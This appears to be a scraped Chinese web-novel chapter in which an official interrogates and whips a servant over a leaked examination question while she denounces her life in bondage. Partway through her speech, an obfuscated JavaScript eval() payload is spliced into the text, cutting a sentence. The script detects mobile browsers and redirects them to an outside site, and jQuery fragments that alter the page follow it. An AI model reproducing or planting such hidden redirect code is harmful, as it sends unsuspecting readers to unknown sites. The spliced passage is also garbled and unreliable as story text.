默认冷灰
24号文字
方正启体

60. 审问

作者:丁青野本书字数:K更新时间:
    自那日之后,宋瑾便没再见过季舒白,因为他忙,更因为宋瑾躲着他。


    她不想见他,反正早晚要见的,何必自己凑上去呢。


    何况,她那么狠毒。


    更何况,这件事已经没有挽回的余地,她不想有任何心软的时刻。


    这一天来的很快,四月中旬的一个午后,宋瑾正在后院里刷碗,季舒白穿着官服,领着皂隶,怒气冲冲闯入食鼎楼。


    “给我拿下文子晋!”


    食鼎楼里的食客四散而去,宋瑾被人从后院里两脚不沾地地提出来,指尖上滴滴答答,面色却十分平静。


    季舒白站在她的对面,一双好看的眼睛几乎喷出火来:“将人带回衙门里,本官要亲自审问。其他人给我搜,所有纸张全都带走,一张不许留下!”


    食鼎楼里顿时尖叫连连,一片混乱。


    宋瑾叫人抓到了衙门里,不是过堂,而是带进了一间用来审讯的房间里。昏暗的光线中她还是看清了周围摆放整齐的刑具。


    直到这一刻,宋瑾才终于真正体会到什么叫腿软。


    没有罪名,皂隶们直接将人绑在了柱子上,有典吏过来问话。


    “这是何人?什么罪名?”


    “原先食鼎楼的掌柜,叫文子晋,季大人叫抓的,他会亲自来审。”说罢人便走了,只留下一个典吏面对吓到嘴唇发白的宋瑾。


    “所犯何事?”


    那典吏问话,宋瑾却不答。


    “不说也无妨,等用了刑,想说的,不想说的,都会说出来。”说完又上下打量着宋瑾:“我瞧你这身子骨,怕是熬不过去的。”


    宋瑾也觉得,这一回她是熬不过去的。


    约莫过了小半个时辰,季舒白从外头进来,独自一人,只手上提着一个包袱,上面沾染了不少泥土。


    当真是掘地三尺。


    典吏见人来,忙躬身拜见。


    “此人本官亲自审问,你出去。”说罢将那包银子丢在桌上,砸的哐的一声响。


    “季大人,这......这恐怕不合规矩吧?”


    典吏有些犯难,季舒白却坚持:“一应后果由本官承担,与你无关。”


    昏暗的审讯室内只剩季舒白和宋瑾,四目对望,宋瑾不躲。季舒白原就严肃,此刻更多了些狠厉。


    到了这个地方,当真是人也是鬼,鬼也是鬼。


    宋瑾也要变成鬼了。


    “说,那张纸在哪里?”季舒白走到宋瑾面前,强压着怒火问。


    宋瑾却反问:“大人没搜到么?”


    “你是一定要将所有人都牵连进来才甘心么?”


    宋瑾撇过头去不答。


    “说,那道题目从何而来?”季舒白继续问。


    “什么题目?”


    宋瑾明知故问,季舒白更加恼火:“你那日骗我写下题目,就是为的今日,对与不对?”


    “大人错了,没有人想死,我也只是想好好的活下去。”


    “没有人要你死,是你自己找死!本官与你无冤无仇,何故这样害我?”


    宋瑾目光暗淡:“人杀鬼杀,被谁杀不是杀呢?若要我一生为奴为婢,供人驱使,我宁愿死在大人手中。”


    “死在本官手中,这便是你的所求么?”


    宋瑾看着季舒白那张因为过度愤怒而涨红的脸,问道:“若是大人杀我,不知会给我怎样的罪名?”


    季舒白怔了怔,罪名?什么罪名?宋瑾能有什么罪名?又该是什么罪名?


    宋瑾看着季舒白愣怔的样子,自顾自说道:“大人的问题我还没有回答,现在便来回答大人。”


    “我乃柏家家生子,化名文子晋替主母在外经商,数月以来与府衙过从甚密,其中接触最多者乃是苏州府知州季昀季大人,其次单独见过监察御史罗元忠罗大人,还见过苏州府通判卢骏年......”


    “你住口!”季舒白一声大喝,胸腔剧烈地起伏着。


    宋瑾看着愤怒中的季舒白,突然笑了一声:“原来大人也会生气,也会愤怒,也会恨,也会怕。”


    “可大人又如何知晓我的恨,我的怕?”


    “大人官宦世家,进士出身,年纪轻轻便已是五品大员,光耀门楣,荣归故里,成为苏州府多少富绅家的座上宾。而我呢?柏家的家生子,生来是奴,死去是奴,生儿育女亦是奴,还只是个上灶的。在家中别说是家主,就是奴仆里头我都要低人一等,大人可曾体会过这种永永远远都低人一等的感受?”


    “所以你便害我?”季舒白气的眼睛发红,像是要吃人的兽。


    “我说过,事有对错,与恨无关。可究竟什么是对,什么是错,到底谁说了算?洪武皇帝恢复人殉,多少宫人枉死,百年后又取消人殉,不妨大人来告诉我,这人殉究竟对还是错?这洪武皇帝到底是对还是错?你敢说么?”


    宋瑾开了口,便再也停不下来。


    “所谓皇建有其极,就是独裁,就是专政,就是一家之言为最大,谁也不能反对。我是柏家的奴婢,认柏家为主,你读书多年,参加科举,出仕为官,自以为高人一等,也不过就是个高等奴婢,是皇家的奴才,你就是个笑话。”


    “你住口!”季舒白气的身子发抖,转身自案台上抓起一根鞭子,指着宋瑾喝道:“你若再敢胡言,休怪本官对你动刑!”


    宋瑾看着那根残留着血迹的鞭子,呆了半晌,忽然抬起头来:“大人是打算将我打死在这里么?”


    季舒白抓着鞭子的手剧烈颤抖着,几乎抓不稳。


    他只是个文官,还不曾对任何人动过刑。


    “大人既要动手,又何必等待?只是大人可曾想过,若是我死在这里,大人如何交待?那张纸,若是叫人拾去,后果谁来承担?”


    “先不说季大人,申大人已经快五十岁了吧,若是我没有记错,他也是长洲县人,与大人乃是同乡。”


    季舒白脚步踉跄着后退了一步,脸色从气得发红变得毫无血色。


    “听闻今年的探花变状元,不知道朝中百官作何感想,有些人当真能一手遮天么?”


    “你住口!”


    季舒白狠狠挥动手中鞭子,只听得啪的一声响,鞭子抽打在宋瑾身上。


    四月的天气,衣服并不算单薄,宋瑾尚能承受得住这一鞭子。只是不巧,那鞭子尾巴扫在了宋瑾的脖子上,一条红痕立时出现。


    “为何?到底是为何要用这下作的手段来对付我?”


    宋瑾忍着痛反问:“若是大人身在我的位置,一生为奴,不得读书识字,不可考取功名,不许与良人通婚,大人是否也要告诉自己安分守己,不可逾矩?前朝称奴为驱口,到我朝才改呼为奴,说白了,在世人眼中我们不过是供人驱使的牲口,若是人人皆可践踏与我,我又何谈自尊自爱?”


    “大人问我为何出此下策,做出这些陷害忠良的事来,不过是牛马不想做牛马


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974193|155814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了而已。”


    “大人,”两行眼泪从宋瑾眼中滑落:“若要我死,可会给我应有的审讯和罪名?”


    “罪名?”季舒白喘着气发问:“你要什么罪名?我问你当日那场火可是你所为?”


    宋瑾道:“当日那场火实非我所为,但若不是有人替我点燃,我也会那么做的。于大人而言,纵火燃屋罪大恶极,于我而言,那却是我唯一能向主母表忠心的机会。我要走出去,我要变成有用的人,我要攒银子赎身脱籍,我就是想离开那个院子,过一过人的日子而已。”


    说到最后,宋瑾几乎是嘶声力竭地喊出来。


    “人的日子?在你眼里,什么才叫人的日子?”


    宋瑾几乎没有任何停顿地答道:“吃的上饭,睡的好觉。春天出去看春花,夏天在家吃棒冰,秋天院里扫落叶,冬天怀中抱火炉,这就是人的日子,这就是我要的日子。”


    季舒白觉得身子发软,宋瑾所要的日子何其简单,又何其艰难。谁不想过那样的日子,可是又有多少人能过上那样的日子?


    “上月初五大人休沐,与友人同行踏春,想必见过极好的春光。可惜了,那漫山遍野的春光与我从来无关。只因为我是奴,我要听从主人的话,我要从早做工到晚,我起早摸黑杀鸡煮鸡,我的一天都围着灶台打转,可我不甘心。”


    “我一天里最快乐的时候就是从食鼎楼到公廨的那段路,在那段路上没有开水烫过鸡毛的气味,有时候我甚至能闻到花香。”


    “大人可知道身上永远有鸡毛的味道是何感受?”


    宋瑾说着说着,声音渐渐轻下来,眼神呆呆地看向门口,像是在质问,又像是陷入悲伤的回忆里。


    “你以为这种日子以后还会有么?”


    宋瑾木然地眨眼:“不会有了,得罪了季大人,当然什么都不会有了。”


    宋瑾转过头来看向季舒白:“临死之前我只求季大人一件事,给我应有的罪名和审问,而不是让我在这里无声无息地死去,大人可敢?”


    季舒白瘫坐在椅子上,头低垂着,叫人看不清表情。


    他最怕的事情。


    “什么三德,什么正直,不过都是你的手段罢了。”季舒白茫然地抬起头来,脸上带着绝望的笑容:“你在逼我。”


    宋瑾眼眶发烫:“若是能选,谁不想好好做人?”


    “可你......”季舒白的声音带着哽咽:“你牵连太多无辜,你罪不可恕!你做出这种事情来,就没有一点愧疚之心么?”


    “愧疚?”宋瑾嗤笑一声:“昔年成祖皇帝夺位,太常寺卿黄大人效忠建文帝,密谋举事,结果被俘,满门皆斩,女眷受辱,又被送入教坊司,自己更受车裂之刑。可到了仁宗皇帝时,又大赦,为其平反,放出官奴成为良民。季大人你来告诉我,黄子澄到底有罪没罪?成祖皇帝他愧疚不愧疚?”


    “洪武皇帝创建我大明王朝,可是之后呢?那些功臣杀尽了杀绝了,杀到血流成河了。季大人,你告诉我,谁曾愧疚过?”


    “于大人而言,我不过是千万个家奴之一,于我而言,大人不过是这大明王朝被冤死的无数亡魂之一。大人觉得无能为力,我也觉得不必愧疚。”


    季舒白坐在那里,任由宋瑾一声声质问着,神情没有了刚刚的激动与愤怒,反而平静了许多。


    “你不是要脱籍,你这是要拉人陪葬。”


    “不,季大人,我真的是太想活着了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)